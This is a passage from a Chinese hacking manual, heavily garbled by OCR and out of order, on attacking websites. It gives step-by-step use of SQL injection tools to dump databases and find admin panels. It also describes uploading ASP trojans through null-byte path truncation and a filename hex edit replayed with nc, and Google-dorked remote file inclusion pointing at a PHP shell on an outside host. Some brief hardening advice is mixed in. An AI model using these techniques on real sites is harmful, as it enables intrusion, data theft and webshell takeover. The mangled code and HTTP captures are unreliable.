
4-54.png

常见HiAI

对网站进行SQL注入攻击，除了可以利用手工方法外，还可以利用一些专门的注入工具，多数的注入工具功能都非常强大，集检测漏洞和攻击于一身，使用这些工具可以提高注入检测的效率，是黑客进行注入攻击的利器。

1、NBSI注入工具

NBSI是一套集成性Web安全检测系统，是一 款网站漏洞检测和ASP注入漏洞检测工具，特别是在SQLServer注入检测方面有极高的准确率。使用NBSI可检测由网站中是否存在注入漏洞，也可进行注入攻击，具体的实现步骤如下。

下载并解压缩NBSI压缩包．双击其中的主程序NBSI.exe，打开“NBSI操作”主窗口，4-55。单击工具栏中的“网站扫描”按钮，打开“网站扫描”窗口，4-56。

在“注入地址”文本中输入要扫描的网站地址，并选择"快速扫描”单选项。

单击“扫描”按钮，即可进行扫描。如果该刚站存在注入漏洞，则会在扫描过程中将这些漏洞地址及其注入性的高低显示在“扫描结果”列表中，4-57。在“扫描结果”列表中单击要注入的网址，即可将其添加到“注入地址”文本框中，4-58。

4-56.png

4-58.png

单击“注入分析”按钮，进入“注入分析”窗口中，4-59。在其中勾选“get”复选框，可以在“特征符”文本区域中输入相应的特征符。

单击“检测”按钮，即可对该网址进行检测，其检测结果4-60。这里可得到一个数字型+Access数据库的注入点，ASP+MSSQL型的注入方法与其一样，都可以在注入成功之后去读取数据库的信息。

4-60.png

4-60-1.png

在“已猜解表名”栏目中单击“猜解表名”按钮，打开“提示信息”提示框。在其中可以看到该网站的数据库类型等信息，4-61。

单击“确定”按钮，即可开始对该网站数据库进行猜解。待猜解完毕之后，会在“已猜解表名”文本框中显示猜解的数据表的表名，4-62。

4-62.png

在选中要猜解的数据表后，单击“猜解列名”按钮，即可得到该表所包含列名的详细信息，4-63。在勾选猜解列名前面的复选框之后，单击“猜解记录”按钮，即可得到该列中包含的详细信息，4·64。

4-64.png

在“NBSI”手窗口的工具栏中单击“扫描及工具”按钮量，进入“扫描及工具”窗口，4-65。将扫描出来的“可能性：较高”网址复制到“扫描地址”文本框中，并勾选“由根目录开始扫描”复选框。单击“开始扫描”按钮，即可将可能存在的管理后台显示在“可能存在的管理后台”列表中，4-66。

4-66.png

由于一个网站可能包含多个管理页面，所以扫描出来的管理后台不止一个。可在默认管理页面利用破解出的用户名和密码进入其管理后台，也可以逐个进行测试。

2、Domain注入工具

旁注WEB综台检测程序(Domain)是一款功能非常强大的SQL注入工具，可帮助用户方便地进行旁注检测、SQL注入检测、数据库管理等操作。该工具还具有虚拟主机域名查询、二级域名查询、整合读取、修改Cookes等功能，所以比较适合初学者。

在Domain中实现注入攻击的具体操作步骤如下。

下载并运行旁注WEB综合检测程序(Domain)V.3.6专用版，打开“WEB综合检测程序V.3.6专用版”生窗口，在其中可看到Domain所包含的各个功能模块，包括：旁注检测、综合上传、SQL注入检测、数据库管理、破解工具以及辅助工具等，4-67。

单击程序主窗口工具栏中的“旁注检测”按钮，在“输入域名”文本框中输入要检测的网址，4-68。

4-68.png

单击“转换域名”按钮，将该网址对应域名显示出束，4-69。单击“查询”按钮，即可将域名地址搜索出来并存左边区域中，4-70。

4-70.png

在其中双击要检测的网站，即可进行注入点检测。如果存在注入点，则会将其显示在“注入点”列表中，4-71。在”注入点”列表中右击要注入的网址，在弹出的快捷菜单中选择“注入检测”选项，即可进入“注入检测”窗口，4-72。

4-72.png

单击“开始检测”按钮，开始检测。待检测完毕后如果出现“恭喜，则可以注入，数据库类型：Access数据库”提示信息，则说明该网址可以注入，4-73。

单击“数据库”栏目中的“猜解表名”按钮，即可对该网页用到的数据库进行猜解。待猜解完毕后，即可将得到的数据表名显示在“数据库”列表中，4-74。

4-74.png

选中要猜解的数据表后，单击“猜解列名”按钮，即可对列名进行猜解，并将猜解出的列名显示在右边的列表中，4-75。选中要猜解的数据表后，单击“猜解内容”按钮，即可得到该表所包含列的相关信息，4-76。

4-76.png

单击“MSSQL注入”传文件”按钮，打开传文件窗口，在其中可以将本地的木马文件上传到远程主机，4-77。单击“MSSQL注入”选项，下的“管理入口检测”按钮，打开“管理入口检测”窗口，4-78。

4-78.png

在“注入点”文本框中输入要检测的地址后，单击“扫描后台地址”按钮，即可对该网站进行扫描，并把扫描的后台地址显示ih来，4-79。

单击“检测设置区”按钮，打开“检测设置区”窗口，在其中可以对检测地址的设置表名、设置字段等进行查看，4-80。

4-80.png

3、ZBSI注入工具

ZBS上注入是一款经典的PHP注入辅助工具，可运行在Windows2000/XP/2003上。

它检测PHP网站中是否存在注入漏洞和字段数，还可将其作为一个浏览器来打开指定的网页。使ZBSI检测注入点井进行攻击的具体操作步骤如下。

在Google搜索引擎中搜索网址含有“php7id=”字符的网页，4-81。

下载并运行其中的“ZBSIV上.O“PHP注入工具”.exe”文件，打开“ZBSIVl.OPHP注入工具主窗口，4-82。

4-82.png

在“注入地址”文本框中输入下面搜索到的网址后，单击“检测注入”按钮，即可对其检测，待检测完毕后，将会显示该网站是否可以进行PHP注入，4-83。

在ZBSI中还可以对得到字段的数目进行检测，单击“字段检测”按钮，即可看到“猜解得到的字段数目”对话框，4-84。单击“确定”按钮，即可在“ZBSIVI.OPHP注入工具主窗口中看到含有猜解到字段的网址，4-85。

4-84.png

ZBSI还附带有浏览器功能，在“ZBSIVl．OPHP注入工具主窗口的“网站地址”文本框中输入要浏览的网页地址（如新浪）后，单击“浏览”按钮，即可浏览相应的网页，4-86。

4-86.png

Web脚本注入攻击的防范

Web脚本注入攻击的防范，上要是针对SQLServer和SQL数据库的防范，数据库文件是网站运行过程中的核心文件，这个核心文件被黑客入侵并下载，整个网站的控制权几乎就是黑客的了。

保护SQLServer

对数据库安全防范措施之中，最为简单的办法就是对数据库文件的安全防范。

这里以WindowsXP系统为例，介绍如何对本机数据库文件进行防范。

1、修改数据库的下载地址

修改数据库的下载地址，可以防止本机数据库文件被下载，不过需要先安装IIS服务器，

具体的操作过程如下。

选择择“开始”一“控制面板”一“添加或删除程序”菜单项，打开“添加或删除程序”对话框，4-87。

单击“添加／删除Windows组件”按钮，打开“Windows组件向导”对话框，存其中勾选“Internet信息服务”复选框，4-88。

4-88.png

单击“详细信息”按钮，打开“Inteme工信息服务(IIS)”对话框，在其中勾选“Inlernei信息服务管理”等，4-89。

单击“确定”按钮。再次打开“Interne工信息服务(IIS)”对话框，单击“下一步”按钮，把WindowsXP系统盘放入光驱中，即可自动进行安装，4-90。

4-90.png

在安装完毕后，即可弹出“完成Windows组件向导”对话框，4-91。

单击“完成”按钮，完成IIS服务的操作。

选择“开始”一“程序”一“管理工具”一“In工eme工信息服务”菜单项，打开“Internet信息服务”管理器窗口，4-92

4-92.png

在该窗口中选择数据库文件(Dvbbs8.mdb)并右击，从弹出的快捷菜单中选择“属性”菜单项，打开“Dvbbs8.mdb属性”对话框，4-93。

在其中选择“重定向到RL”单选项，在“重定向”栏中输入当前网络的网址（或任意网址），4-94。

4-94.png

依次单击“应用”按钮和“确定”按钮，这样，如果再有黑客试图打开本地数据库文件，将自动访问重定向的网址，而不会执行该数据库文件的下载操作。

2、修改数据库文件名

修改默认的数据库文件名也是保证数据库安全的方法，有一世数据库开发人员就简单地把数据库文件的扩展名修改为.asp，就可以保证数据库文件不被IE浏览器的下载功能所下载，4-95。但这种方法却不能保证不被其他的下载工具所下载，如迅雷、快车等。

就可以下载后缀名为asp文件，4-96。

4-96.png

在下载完成后，只需把文件名后缀名再改成mdb，就可使用Access程序对文件正常编辑了，从窃取数据库文件的隐私信息。

从下述可以看出，只是简单地对网站数据库文件的后缀进行更改，不能很好保障数据库文件的安全，还需要另外一种方法，即在数据库文件名中添加群符号，如#123.asp。

这样，无论是哪种下载工县都不能把该文件下载到本地磁盘，进而网站的数据库文件也就更安全了。这里以“动网论坛Dvlobs8.2.0Access版”为例，介绍如何更改数据库文件名及路径，以保汪网站数据库的安全。

4-96-1.png

具体的操作步骤如下。

下载并解压动网论坛程序“Dvbbs8.2.0Ac“文件，在其中找到“conn.asp”文件，4-97。

用Dreamweave下打开目录下的“conn.asp”文件，在其中找到数据库连接代码：

“ConnS工r=”Provider=Microsot.et.OLEDB.4.O;Da工aSo口rce=“＆Server.MapPath(MyDbPaih＆db)”，4-98。

4-98.png

其中，“Server.MapPath(db)”中的“db”变量是用二定义数据阵文件路径的，因此，需要向上查找“db”变量的赋值语句，具体方法为：Db=”data/dvbbs8.mdb”。该句代码的作用是用来定义数据库路径及文件名的。将其中的数据库文件名及路径进行修改，如：

修改为“Db一”bbsdata/bbs#test.asp.””，4-99。

在对数据库连接文件“conn.asp”中的数据库路径和名称修政完成后，还需要将已经改名的数据库文件移到指定的路径中。打开动网论坛程序目录，将其中的“data”文件夹重新命名为“bbsdata”，再将默认的数据库文件名“dvbbs8.mdb”修改为“bbstest.asp”，4-100。

4-100.png

这样，通过添加“#”号就可以在一定程度上防止数据库被下载。因为在网址链接“静”符号被看作一个截断符，IE或其他的下载工具会自动忽略"#”号后面的内容，这就起到了

一定的欺骗性，入侵者也就不能进行下载或访问到真实的数据库。

防止SQL数据库攻击

黑客在脚本注入攻击的过程中，其目标往往包含大量数据的数据库，通过获取管理员的密码、信息，甚至通过数据库获得WebShell，控制整个网站服务器。

尤其是SQL数据库的安全性更重要，如果安全设置不慎，攻击者甚至可以直接通过SQL。

4-102.png

此外，还可以去掉注册表访问的存储过程，以及其他危险的扩展存储过程。例如：    xp—regaddmultistring

xp—regaddmltistring

xp\_reqdeletakey

xp\_regqdeletevale

xp—rec:lenmvales

xp—regread

xp\_reclremovemltistring

xp\_regwrite

2、使用安全的数据库账号

SQL是各种系统中使用最多的数据库系统，数据库中往往存在着许多重要的信息，而且数据库服务器遭受攻击，后果将不堪设想。其默认的sa用户具有对SQL数据库操作的部分权限，但sa账号的默认设置为空口令，以至于SQL服务器遭受sa空口令的攻击。所以一定要修改SQL安装时默认的sa空密码，需要为sa账号设置一个复杂的口令。

另外，要严格控制数据库用户的权限，不要轻易让用对表有直接的查询、更改、插入、删除的权限，可以通过给用户以访问视图的权限，以及只具有执行存储过程的权限。

最后，还可以对主机使用数据库应用时，只是用来做查询、修改简单功能的用户，根据实际需要分配新的账号，并给予其能满是使需要的有限权限就够了。

防止SQL攻击

众所周知，SQL注入攻击的危害性比较大，已经严重影响到程序的安全。因此，要想从根本防止SQL注入攻击，必须从网站设计的源头开始。在防御SQL注入攻击时，程序员必须注意可能出现安全漏洞的地方，常出现的就是用户数据输入处。

1、对用户输入的数据进行过滤。

用户输入的数据进行过滤是防止SQL注入攻击的关键所在，常见的过滤方法有基础过滤以及SQL通用防注入程序等多种方式。

(1)基础过滤与二次过滤。在SQL注入入侵前，需要在可修改参数中提交…”、“and”等特殊字符来判断是否存在SQL注入漏洞；在进行SQL注入攻击时，需要提交包含“：”、“一”“pdate”、“select”等特殊字符的SQL注入语句。所以要防范SQL注入，则需要在用户输入或提交变量时，对单引号、双引号、分号、逗号、冒号等特殊字符进行转换或过滤，以最大程度减少SQL注入漏洞存在的可能性。

下面是一个ID变量的过滤性语句：

iinstr(reqest("idⅣ),Ⅳr“)>00rinstr(reqest(’、id"),"insart¨)>or

instrlreqestCid,,)，”)>Othenresponse.writeⅣ

<SCRIPlancaqe-avascript>

avaScripthistorytco(--1):

</SCRIPt>

response.end

endi下

值用上述代码可以过滤ID参数中的“：”、“，”和“insert”字符。如果存ID参数中包含有这几个字符，则会返回错误页面。但危险字符远小止这几个，要过滤其他字符，只需将危害字符加入下面的代码即可。一般情况下，在获得用户提受的参数时，首先要进行一些基础性的过滤，再根据程序相应的功能、输入进行过滤。

(2)使用SQL通列防注入程序”进行过滤。使用“SQL通列防注入程序”可以全面地对程序进行过滤，从而很好地阻止SQL脚本注入漏洞的产生。该程序全面处理通过POS工和OE两种方式提交的SQL注入，自定义需要过滤的字符串。当黑客提交SQL注入危险信息时，’就会记录黑客的lP地址、提交数据、非法操作等信息。具体的操作步骤如下。

下载并解压缩“SQL通用防注入程序V3.1”，可以看到该程序主要包含Neeao

SqlIn.ASP、Neeao\_sqi\_admin.asp和Sql.mdb等3个文件，4-103。

将其复制到网站所在的文件央中，在需要防注入的页面头部加入“<!--#incl口de下iile=”Neeao\_SqlIn,ASP”．一>”代码，即可在该页面防御SQL注入，4-104。

4-104.png

4-104-1.png

2、设置错误提示信息。

SQL注入主要依据是IIS给出的ASP错误信息，所以配置IIS和数据库用厂，权限，可以阻止SQL注入攻击。具体的操作步骤如下。

在“管理工具”窗口中双击“Internet信息服务”图标，打开“Internet信息服

务”窗口，4-105。

依次展开“本地计算机”一“网址”分支，右击其中的“默认网站”图标，在弹出的快捷菜单中选择“属性”选项，打开“默认网站属性”对话框，4-106。

4-106.png

换到“自定义错误”选项卡，在“错误”列表中选择“500：100”选项，4-107。单击“编辑属性”按钮，打开“错误映射属性”对话框，在“消息类型”

下拉列表中选择“默认值”选项，4-108。单击“确定”按钮，完成对错误提示信息的设置。

4-108.png

文件上传为渗透铺路

大部分网站都为用户提供了文件上传功能，这就会产生网站上传漏洞，产生的主要原因是网页代码中的文件上传路径变量过滤不严格所造成的，攻击者利用这个上传漏洞就可以任意上传网页木马，如ASP等，再链接上传的网页，即可控制该网站的系统。

上传功能导致漏洞

上传是一种比注入更具有杀伤力的漏洞。通过注入所得到的往往是数据库的一些敏感数

据，如管理品名称、密码等。上传漏洞就不同了，可以把ASP、上sP、CGI、PHP等格式

的等格式的木马上传至网站内，所获得的权限最低也是WebShell。

对于上传漏洞的查找，仍是从源文件入手，目标有两个，一个是FilePath，即文件路径；另。个则是FileName，即文件名称。

下面简单介绍下：传漏洞产生的原理。网站的上传漏洞足由于对网页代码中的文件上传路径变量不过滤造成的，在很多网站中都存在上传页面，4-109。

4-109.png

但这类上传页面只是一个调用框架，将用户的文件参数提交给真是线上传功能的程序文件，代码如下：

<form action:"upfile.asp"  . \_ .>

<input type-vrhidden" name-r'filepath" value="UploaadFile">

<input type-.r'file'r name="file">

<input type-\*'submit" name."Submitri value=" l:传\*r clar,s-"login\_btn">

</fo rm>

在上述代码中“filepath”是文件上传路径，由于网页设计者没有对该变量进行任何的过滤，所以黑客可以修改任意变量的值。在编程语言中有个特殊的接支付“\0”，该符号的作用是通知网站服务器终止后面的数据接收，黑客可利用该截止符重新构造filepath。’

例如：正常的上传路径是“http://www．xxx．com/net op/upload/Ol.上pg”，但黑客可以使用“\0”来构造rilepath为“http://www.xxx.com.cn/netop．asp \O/01．上pg”，这样当服务器接收fllepath数据时，就会简单地看到“netop.asp”后面的“\O”后，认为rllepath数据到此就结束了，此时上传文件就被保存为http;//www.xxx.com.cn/netop．asp。利用这个上传ASP木马，再连接上传的网页，进而控制整个网站系统了。利用Google发起RTF攻击

当检测到某个PHP程序的远程包中包含漏洞后，攻击者就会再搜索一些包含漏洞的站点，井对整个站点进行漏洞检测攻击。通过Google搜索引擎就可以寻找漏洞站点。再借助一些小工具就可以引发RTF攻击。具体的操作步骤如下。

下载并运行Goo小跑堂软件，打开“Goo小跑堂”主窗口，4-110。

在其中单击“高级”按钮，在下方页面中显示Google的高级搜索，1-11 1。

4-111.png

在其中设置要搜索的漏洞网站程序关键字，如这里在“包含完整字句”中输入

“Powered by REALTOR 747”，并将搜索结果设置为“100”，4- 112。

在程序界面的“关键：”文本框中输入链接路径分隔符“／”，此设置用于定位搜索到的结果列表中的的链接地址根目录，并将其替换成下面提交的链接参数，4-113。

4-113.png

在“Goo小跑章”主窗口勾选左下角的复选框，在其文本框中输入要搜索的远程文件包含漏洞地址链接，这里以“Realtor 747 Version 4.11”网站程序远程包含漏洞链接为例，假设PHP Shell的链接地址为：“http：//x iaopuma.gic p.n et/s hell.txt”，则设置提交的参数设置为：“ http://xiaopuma,gicp.neV shell.txt?“，如同4-114。

在设置完毕后，单击上方网页框中的“Google搜索”按钮，即可搜索到相应网站的链接地址，4-115。

4-115.png

利用清扫员验证漏洞的站点。在使用Goo小跑章搜索到大量可能存在漏洞的站点地址列表后，还需要利用清扫员验证漏洞的站点，下载并解压缩“Goo清扫员”解压缩包，

双击其中的可执行文件，打开“Goo清扫员”主操作界面，4-116。

在Goo小跑堂中选择所有URL地址列表，并复制粘贴到G00清扫员的“分析”

选项中，单击“添加到则表”按钮，即可将所有网址添加到“检测”选项中，4-117。

4-117.png

在“Goo清扫员”主界面中勾选“需要关键字”复选框，在其文本框中输入相应的关键字，如密码，4-118。

在设置完毕后，单击“开始”按钮，即可自动探测列表中的网址是否存在远程文件包含的漏洞，如果成功检测到漏洞的链接地址，将会娃示在“扫描结果”列表中。复制该链接地址，直接存IE浏览器中打开，即可看到远程包含的Webshell了，4-119。

4-119.png

本地提交上传流程分析

本地提交上传流程主要包括：定义变量、技取上传文件名、检测后缀名、文档上传以及保存等几部分。

1、定义变量

在上传文件之前，需要定义各种上传变量，如上传路径、保存目录、允许上传文件的类型等，这部分的具体实现代码如下：

<%

const upload\_type-0    上传方法：0一无惧无组件上传类，1—FS0上传2-lyfupload,3=aspupload, 4=chinaaspupload

dim   upload,O File, formName, Save Pa th, filename, fileExt

dim  ImgWidth, Imc上Height, AlignType

dim EnableUpload

dim arrUpFileType

dim ranNum

dim msg,FoundE;rr

mSg!””

FounciErr-false

Ena20leUpload=false

SavePath；SaveUpFilesPath  ／／存放上传文件的日录

if right (SavePath,l)《>’’／¨then SavePath:SavaPath&"/"%>

sub upload\_0()    ’使用化境无组件上传类

set upload:new upfile\_class  ’’建立上传对象

2、 获取上传文件名

在定义完各种变量后，就需要使用for循环来获得上传文件的文件名，其实现代码如下：

for each fc)rmName in upload.file／／列出所有上传了的文件set  ofile=upload. file f forrnNarne)  ／／生成一个文件对象

3、检测后缀名

在获得文件名后，还需要获得上传文件的后缀名，并检测文件扩展名是否合法，要实现这些功能需要用到以下的for循环语句，其具体内容如下：

fiLeExt=lcase (ofile．FileExt)  ／／将扩展名转换为小写字符

arrUp Filerr ype=split(UpFileT ype”l”)／／读取后台定义的允许上传的文件扩展名for i—0  tubound(arrUpFileType)  ／／第一次后缀名检测，用FOR循研=读取ar rUpFikType数组

if  fileEXT-trim (arrUpFilerype (i))then//如果fileExT是允许上传的扩展名

EnableUpload=t rue//为真，表示该文件台法

exit for

end if

next

4、 文件上传与保存

在上传之前还需要检测FoundErr变量值的真与假，如果为真则执行文件上传与保存操作，其实现代码如下：

str上S=,\*<SCRIPT  language-上 avascript>"&vbcrlf

if FounciErr<>true then  ／／第四次检测，如果FoundErr小等于true则允许上传

randomize

ranNum-int (900\*rnd) +100

filename-S avePath&year (now) &month <now) &day (now) &hour (now)  &minu te(flow)＆

second (now} &ranNum&”．t‘＆fileExt  ／／定义filename，共值为固定的路径名+年月日及随机值生成的名称+fileExt扩展名ofile．SaveTo Filc上 Serve}r .mappath( FileWame)    ／／保存文件 Msg="上传文件成功！”

response.write str上S

set file=nothing

next

set upload-nothincl

enci sub

%)

分析上述代码可知，逻辑变量“EnableUpload”和“FoundErr”在文件上传过程中起着非常重要的作用。“EnableUpload”验证文件扩展名的合法性，当其值为“True（真）”时表示合法；而“FoundErr”用于表示文件是否可以上传，当其值为“False（假）”时，表示可以上传。所以，这两个变量接影响着非法文件是否会上传成功，上传漏洞是否存在。

WScokExpert与上传漏洞攻击

WSockExpert是一个网络数据抓包工具，可用来监视和截获指定进程网络数据的传输，主要用于网站测试。黑客经常使用该工具修改网络发送和接收的数据，从而完成网页脚本入侵。

使用WSockExpen截获网络数据的具体操作步骤如下。

下裁并运行WSockExpert V0,6，其主窗口4-120。单击工具栏中的“打开”按钮，打开“Select Process To Monitor（选择监听的程序）”对话框，如想监视某个网

页则展开“1EXPLORE.EXE”选项，在其中选择打开的网页名称，如选择一个上传网页

http:nlocalhosUqinzhu/Uprile．html，4-121。

4-121.png

单击“打开”按钮，返回到主窗口中，对本地上“Upfile.html”网站的数据变换

进行监控。在窗口中将及时显示本地主机与网站进行的每一次数据交换，4-122。

其中所包含的并列的含义如下。

Status;在该列中可看到数据交换的状态，有发送(Send)和接收(WSA)两种状态。

PacketsHex:交换数据的16进制代码。

PacketsText: 16进制代码转换成的信息。

Addfess:从该栏目中可查看到每次数据交换经过lP地址传递与转换的次数，并可以查看远程上机的IP地址。

单击列表中某个数据交换，即可在窗口中看到转换后的详细信息，4-123。转化后的相关代码如下：

POST /qinzhu/admin%20/ArticLe/Upload\_\_ Article.asp HTTP/1.1

Accept:  ima14'e/gif,  image/x-xbitmap,  image/上peg,  imac上e/p上peg,  application/

x-shockwave- flash,    applicat\_io n/vnd .ms-excelr

application/rnsword, application/x-silverlight~ +/

Rea fe rer :    http ://localhost/qinzhu/Up file \_ html

Accept-Langua<上e: zh-cn

Content- Type :                                                                                                    multipart/form- da to ,

boundar}r------------------------- -:- -7d912 8162 3 0e60

ACCept-Encodinc上:gzip\* deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.O; WindowS NT Sfl; SVl; QQDownload538)

Host: locaLhost

Con七ent-Length: 15992

Connection: Keep—AliveCache-Control: no-cacheCoo kia :    A St aqi zu ?s ~ Fsta t l:Us erPages-2 &A上 r,tatPa<:a\s -2 ; Aiangqizu%5Fstatl-A上 stat2-1

4-123.png

从上面捕捉到的重要代码信息可知：“POST”表示与网站交换信息的方式；0Referer”表示WSE捕状到的数据提交网页，主要用于查找一些隐藏的登录网页；还有远程主机名Host、连接打式Connelion、Cookie等。其中“Cookie”在构造伪装数据时非常青用。

在进行发帖、文件上传等操作时，还可捕捉到其他一些重要信息，如“Content-Length”表示Cookie数据的长度：而“Conlent-Type: image/gif"则表示上传文件类型：还有文件上传后的保存路径等。因此，任何隐蔽数据的交换都逃不过该工具的监控。

文件上传漏洞攻击实例

文件上传漏洞产生的关键是“Filepath”文件名变量未进行严格的过滤。主要分为两种情况：一是没有对Filename文件名变景进行过滤；二是没有对“FilePath”文件路径进行过滤。上面介绍没有对“FilePath”文件路径变量进行过滤，从而产生漏洞的情况，这里以一个比较典型的网站程序“天意阿里巴巴企业商务网V3.7”为例，进行文件上传漏洞攻击的操作，操作步骤如下。

在IE浏览器中打开“天意阿里巴巴企业商务网V3.7”程序中的主页面Default.asp文件，打开其主页画，4-124。

单击“注册会员”按钮，打开其注册页面，在其中注册一个新用户，4-125。注册完毕后，在用户登录区中输入刚注册的用户名和密码进行登录，4-126。

单击“超链接”按钮，进入产品发布页面，在其中按要求输入,相应的数据，并单击“浏览”按钮选择要上传的ASP木马，4-127。

4-127.png

运行WsockExpert 工具，单击工具栏中的“打开”按钮口：，打开“Select Process

To Monitor（选择监听的程序）”对话框，展开“IEXPLORE.EXE”选项，在其中选择当前打开的网页名称：天意商务网产品展示，4-128。

4-129.png

单击“Open”按钮，返回到新产品发布页面中，再单击“确定”按钮，即可提交输入的数据。由于上传文件的类型不正确，可看到“上传的图片有错误”提示框，4-129

。出现这种现象的原因在于：网页对文件上传类型进行限制，所以ASP后门是无法上传成功的。

此时在“WsockExpert”窗口中可看到捕捉到的数据包，存其中找到含有“Post”

字符串的数据库，其ID号是3和4d在ID号为3所在的行单击，即可看到该数据包的具体内容，4-130。其具体内容如下．。

POST /tianyi/manage/spzs/zs\_save\_add. asp HTTP/1.1

Accept:    image/clif,    image/x-xbi\_tmap,    image/上 peg,    image/p上pec上,

application/x-shoc kwave-flash,application/\rnd.ms—excel,   applica rpion/msword,

application/x-silverlight,  ★／★

Re fe rer:  ht,tp: //localhos/tian yi/manacle /sp zs/add. asp

Accept-Languac上e: zh-cn

Content-Type:    multipart/form-data;

boundary=---    -----7d931clb10604

Accept-Encoding: qzip, daflata

User-Agent: Mozilla/4.0 (compatible: MSIE 6.0; fdinciows NT 5.1; SVl)

Host,: localhost

Content-Lengtti: 9162

Connection: Keep-Alive

Cache-Control: no-cache

Cookie:    ASPSESSIONIDCATCQQDB-EDLNMGMBMLGFP PKH POLDAC FC

在ID号为4所在的行单击，可看到该数据包的具体内容，4-131。

4-131.png

其主要内容如下。

 ---7d931clb10604

Content-Disposition: form-data; name-"fiLepath"

\_ /../picture/

 - -- 7d9 31clb10 6 0 4

Conent-Disposition: form-data; name-i\*cpmc"

aa

 .-- -7d931clb10604

Conten-Disposition: fonn-data; name-"cpbh"

O01

 .---7d9;31clb10604

Con te n t - Disposit ion:    fo rm-data;    name="cp sb "

11

 '----------------7d931clbl0 60 4

Content-Disposition: form-data; name-"cpcd"

11

---7d931clb10604

Content\_-Disposition: form-data; name="cp上g"

11

---7d931clb10604

Content-Disposition:  form-data; name=”cpgg”

20

-------7d931clb10604

Content-DiSpoSitiorl;  fOrm-data;  name-’’sortid’’

1 4

 ———一一--7d931clb10604

Content-Disposition: form-data; name—¨typeid”

2 81

一一一一---7d931clb10604

Content-Disposition：    form-data;  name=’’file'1 上    filename-’’F:\新建文件失

\Dvbbs7.ld O\_Ac\wap.asp"

Con t,ent -Type:  application/octet -stream

将上面两个数据包中的内容复制到一个新建的记事本文件中，并将“fiiename-“F：＼新建文件夹kDvbbs7.I.O\_Ac\wap.asp””修改为“filename-”F:\新建文件夹\Dvbbs7.1.0 Ac\wap,asplPg””，4-132。

使用UltraEdit打开刚才保存的记事本文什，选中“filename=”F：、新建文件夹＼

Dvbbs7.1．O\_Ac\wap.asp．jpg“”，将空格对应的16进制代码20修改为oo，4-133。

4-133.png

修改完毕后，将文件保存在nc.exe所在的文件夹，在“命令提示符”窗口中进入nc.exe所在的文件夹，运行“ne www.xxx.com 80<l.text”命令，如果该命令执行成功，即可实现欺骗．上传的目的，其中“www.xxx+corri”是测试网站，需要根据实际情况进行修改。

点拨1：在IE浏览器中输入数据库的地址进行下载数据库后，当打开下载的数据库文件后，为什么显示的全是乱码？

解答：出现这种情况的原因在于，该阿站数据库文件名的后缀是。asp，这样可以提交数据库的安全性。在浏览器中访问该数据库文件时，数据库文件将被当做asp网页文件，所以就直接显示乱码，达到阻止用户下载数据库的目的。

点拨2：使用“SQL通用防注入程序”如何才能使整个网站都可以防注入？

解答：将“SQL通用防注入程序V3.1”存放在网站所在文件夹中，如果使整个网站都可以防注入，则在数据文件（一般为c onn,asp）中加入“<!--#includefile=”Neeao\_SqlIn.ASP“一）”代码，就可以在任意页面中调用防注入程序，从而使整个网站都可以防注入。

由于Web网页脚本的不安全性，各种针对Web网页脚本的攻击技术多种多样且在不断更新。作为网站管理员，必须跟随最新的安全攻防技术，为网站服务器采取相应防御措施。

实现SOL注入攻击

Web脚本攻击可以分为很多种，如SQL注入攻击、文件上传攻击、数据库攻击、Cookies攻击等，其中SQL注入攻击是针对脚本系统的攻击中最常见的一种攻击方式，也是危害最大的一种攻击手段。同时，由丁SQL注入攻击的易学易用，使得现在各种SQL攻击蔓延。

SQL注入攻击基础

随着网络的快速发展，SQL注入攻击技术也逐步发展并流行起来，使得SQL注入攻击成为脚本攻击者必会的一项入侵技术。

1、SQL注入攻击产生的原因

SQL脚本注入攻击漏洞的主要原因在于：许多网页程序员在编写代码的时候，没有对用户输入数据的合法性进行严格的判断和过滤，从而使网页应用程序存在安全隐患和漏洞。

SQL注入攻击就是利用网站后台程序的漏洞，来发起注入攻击的。这种漏洞是一种比较古老的脚本漏洞，同时，在各种各样的建站程序当中，也是避免不了出现漏洞的，这就给攻击者提供了入侵渗透的机会。

2、SOL注入攻击的准备

黑客在正式实施SQL注入攻击之前，一般都会先做一些准备工作，如取消友好HttP错误信息、准备工具等。其中需要取消友好H工工P错误信息的主要原因是：在进行SQL注入入侵时，需要利用从服务器上返回各种出错信息，但在浏览器默认设置时不显示详细错误返回信息，只能看到“HttP500服务器错误”提示信息。因此，需要在进行SQL注入攻击之前先设置IE浏览器。具体的设置步骤如下。

步骤1.在IE浏览器窗口中选择“工具”→“Intemet选项”菜单项，打开“Intemet工选项”对话框，4-1。

步骤2.切换到“高级”选项，在其中取消勾选“显示友好HttP错误信息”复选框，单击“确定”按钮，即可设置返回详细信息，4-2。

4-2.png

SQL注入攻击与其他攻击手段相似，在注入攻击前需要经过漏洞扫描、入侵攻击，种植木马后门等几个步骤。存入侵过程中会使用一些特殊工具，如SQL注入漏洞扫描与猜解工具、Web木马后门及注入辅助工具等，来提高入侵效率和成功率。

·SQL注入漏洞扫描器与猜解工具。其中ASP环境的注入扫描器主要有NBSI（4-3）、HDSI、Domain和冰舞（414）等；

而PHP+MYSQL注入比较好的工具有CASI（4-5）、二娃（4-6）等。

4-6.png

上述工具大部分都是SQL注入漏洞扫描与攻击于一体的综合利用工具，可以帮助攻击者迅速完成SQL注入点寻找与数据库密码破解、系统攻击等过程。

注入辅助工具，利用注入辅助工具可以帮助攻击者实现字符转换、格式转换等功能。

常见的SQL注入辅助工具有SQL注入字符转换工具、ASP木马c/s模式转换器（4-7）和C2C注入格式转换器（4-8）等。

4-8.png

MySQL注入攻击

MySQL问前被广泛地应用在Internet的中小型网站中。对了：MySQL的注入攻击，常用方法主要有两种：手工注入攻击和使用工具进行注入攻击。

1、手工注入攻击

手动注入攻击比较适合初学者，下面介绍如何利用“SQL手工注入学习机”注入工具来对MySQL进行SQL注入攻击。具体的操作步骤如下。

步骤1.下载“SQL手工注入学习机”，双击“SQL手工注入学习机”图标，打开“SQL手工注入学习攻击机”窗口，4-9。

4-9.png

步骤2.找一个有注入漏洞的网站，复制网址到“输入怀疑有SQL注入漏洞的口RL”文本框中，4-10。单击“查询是否有注入漏洞”按钮，即可在“生成注入代码”

文本框中生成注入代码，4-11。

4-11.png

步骤3.删除“回显判断提示（包涵=不提示不包/=提示）如果不用请清空”文本框的内容，则单击“提交（显示完整效果）”按钮，即可打开4-12的对话框，在其中可以查看网站相应的信息，及判断是否有“注入漏洞1=1”。

在单击“查询是否有注入漏洞1=2”按钮生成注入代码之后，此时再单击“提交（显示完整效果）”按钮，即可查看判断是否有“注入漏涧1=2”。

在“表名”文本框中输入猜测的数据库表名之后，单击“查询表名”按钮，着存在该表名，就会显示相应的表名，4-13。

413.png

